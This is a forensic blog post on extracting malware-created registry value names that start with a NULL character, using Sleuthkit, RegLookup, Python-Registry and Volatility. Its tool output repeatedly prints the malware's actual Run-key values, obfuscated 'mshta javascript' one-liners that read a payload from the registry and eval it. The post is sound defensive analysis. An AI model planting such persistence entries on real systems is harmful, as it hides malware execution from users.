Friday, January 29, 2016

Registry Value Names Starting with NULL Characters

Recently someone had asked on a mailing list about how to extract the registry value names that were created by a particular piece of malware. The issue was a NULL (0x0) character at the beginning of the registry value name, which prevented regedit from opening the registry key. The name is actually there, however, and consists of this NULL character and some other hex numbers, and you are able to extract it from the raw registry itself (from disk and memory). We'll cover how we may accomplish these tasks, and then we'll cover how to accomplish this over the enterprise, as was asked as a followup question.

Background

The malware in question is referenced in a report by Symantec as well as REAQTA. We have two different registry values depending on whether or not Powershell is available on machine. Either way, the registry keys and values created by the malware are present in the user's personal registry (NTUSER.DAT).

Extracting the Registry

For this part, you may use anything that allows you to pull the registry file from the disk. Some example tools may be: We're going to use the Sleuthkit to extract the registry file from the local disk in this case (though the process would be the same for an offline or remote disk, just the disk name would differ). So first we need to figure out the offset of the NTFS volume. In order to accomplish that, we would use the mmls utility; we see its invocation on line 1 below. The volume offset is highlighted on line 9 and we see that it is the only NTFS volume on this disk. Next, we need to get the unique identifying information (inode) for the NTUSER.DAT registry file for the user who ran the malware (lines 11-23). After we've identified the inode number for the registry file (372), we then extract it from the disk so that we may process it offline (line 26).

1 >mmls \\.\PhysicalDrive0 2 DOS Partition Table 3 Offset Sector: 0 4 Units are in 512-byte sectors 5 6 Slot Start End Length Description 7 00: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 8 01: ----- 0000000000 0000002047 0000002048 Unallocated 9 02: 00:00 0000002048 0033552383 0033550336 NTFS (0x07) 10 11 >fls -o 2048 -p -r \\.\physicaldrive0 > paths.txt 12 13 >findstr /i ntuser paths.txt 15 r/r 10772-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf 16 r/r 41237-128-3: Users/Default/NTUSER.DAT 17 r/r 41238-128-4: Users/Default/NTUSER.DAT.LOG 18 r/r 10768-128-4: Users/Default/NTUSER.DAT.LOG1 19 r/r 41321-128-1: Users/Default/NTUSER.DAT.LOG2 20 r/r 10563-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms 21 r/r 10773-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms 22 r/r 433-128-1: Users/user/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf 23 r/r 372-128-1: Users/user/NTUSER.DAT 24 [snip] 25 26 >icat -o 2048 \\.\physicaldrive0 372 > ntuser-win7x86

Print Keys and Values

Once we have the extracted registry file, we're able to print out the registry key and its values using any offline tool we have at our disposal. Here are a few: RegLookup is a nice utility for printing out registry data. You can see an example output of the Run key below, however, note that the value name is not printed out. We are able to see everything else, however:

$ reglookup -p 'Software/Microsoft/Windows/CurrentVersion/Run' NTUSER-Win7x86.DAT PATH,TYPE,VALUE,MTIME /Software/Microsoft/Windows/CurrentVersion/Run,KEY,,2016-01-15 21:49:46 /Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:roh0Urp=\x22ehdEAR8I\x22;G9p=new%20ActiveXObject(\x22WScript.Shell\x22);c7r6vhuiFM=\x22moDW7uoJ5\x22;ibh29z=G9p.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);bZU38ElgI=\x229g95uXT\x22;eval(ibh29z);v4SXZYYP=\x22x2\x22;, /Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:hCLkQp43l=\x22GRB\x22;w5s1=new%20ActiveXObject(\x22WScript.Shell\x22);dXx1Yr6f=\x22uk\x22;S6RUd=w5s1.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);JTMRIu3=\x227Vi\x22;eval(S6RUd);Jkxju49At=\x225S\x22;,

I also wrote a script to use Python-Registry in order to print out registry keys of interest. You can see example output from this below:
 

$ python printkey.py NTUSER-Win7x86.DAT "Software\Microsoft\Windows\CurrentVersion\Run" Processing NTUSER-Win7x86.DAT ************************************************************************ cmi-createhive{6a1c4018-979d-4291-a7dc-7aed1c75b67c}\software\microsoft\windows\currentversion\run VALUENAME: 996883f7 VALUE: mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; VALUENAME: e4263fbd VALUE: mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S"; Subkeys: ************************************************************************

Harlan Carvey also wrote a RegRipper plugin to detect key and value names with NULL characters. Also, if you need a GUI, Eric Zimmerman's registry tool also parses out these names correctly. So in short, you have a lot of options for parsing out these "broken" value names with offline tools.

Printing Keys and Values Using Volatility

As you may guess, you can also get this information using Volatility, but it might not be as straightforward at first. For our first attempt, we will try to use the printkey plugin. Notice that the value name is actually blank in the output below (left side of the colon):

$ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 printkey -K software\\microsoft\\windows\\currentversion\\run Volatility Foundation Volatility Framework 2.5 Legend: (S) = Stable (V) = Volatile ---------------------------- [snip] Registry: \??\C:\Users\user\ntuser.dat Key name: Run (S) Last updated: 2016-01-15 21:49:45 UTC+0000 Subkeys: Values: REG_SZ : (S) mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; REG_SZ : (S) mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

This is because of the way the String class was written. The actual name is still there, however, so we can extract it with volshell. In the code below, lines 4-7 import the RegistryApi to use the correct registry file (in this case the user name "user"). Line 8 gets the key of interest, the "Run" key (defined on line 6). Then lines 10-11 loop through the (raw) values contained for that key and print out the dt() function output for each value.

We can see on lines 15 and 25 that each of these value names have a length of 9, therefore, we should be able to extract a name for these values. We are able to see the raw value for this name by using the .v() function on the object of interest. In this case, we'll use it on the .Name member of the value. On lines 34-35, we can see that we get the correct length for the value name and on lines 36-37 we get the correct value name. We can then rerun our loop on line 39 in order to get the full information for these values.

1 $ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 volshell 2 [snip] 3 4 In [1]: import volatility.plugins.registry.registryapi as registryapi 5 In [2]: regapi = registryapi.RegistryApi(self._config) 6 In [3]: key = "software\\microsoft\\windows\\currentversion\\run" 7 In [4]: regapi.set_current("NTUSER.DAT", "user") 8 In [5]: item = regapi.reg_get_key(None, key) 9 10 In [6]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True): 11 print dt(value) 12 ....: 13 <CType pointer to [0x0007CC08]> 14 0x0 : Signature vk 15 0x2 : NameLength 9 16 0x4 : DataLength 412 17 0x8 : Data 511024 18 0xc : Type 1 19 0x10 : Flags 1 20 0x12 : Spare 28515 21 0x14 : Name 22 None 23 <CType pointer to [0x0007CDD0]> 24 0x0 : Signature vk 25 0x2 : NameLength 9 26 0x4 : DataLength 378 27 0x8 : Data 517464 28 0xc : Type 1 29 0x10 : Flags 1 30 0x12 : Spare 0 31 0x14 : Name 32 None 33 34 In [7]: len(value.Name.v()) 35 Out[7]: 9 36 In [8]: print str(value.Name.v()) 37 e4263fbd 38 39 In [9]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True): print value.Name.v(), data ....: 996883f7 mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; e4263fbd mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

Unfortunately, that's all the time we have for today, but we'll continue this thought sometime next week. Until then, here's a bit of homework for you to watch and a bit to read.

Coming up next: Finding interesting registry values Enterprise-wide

No comments: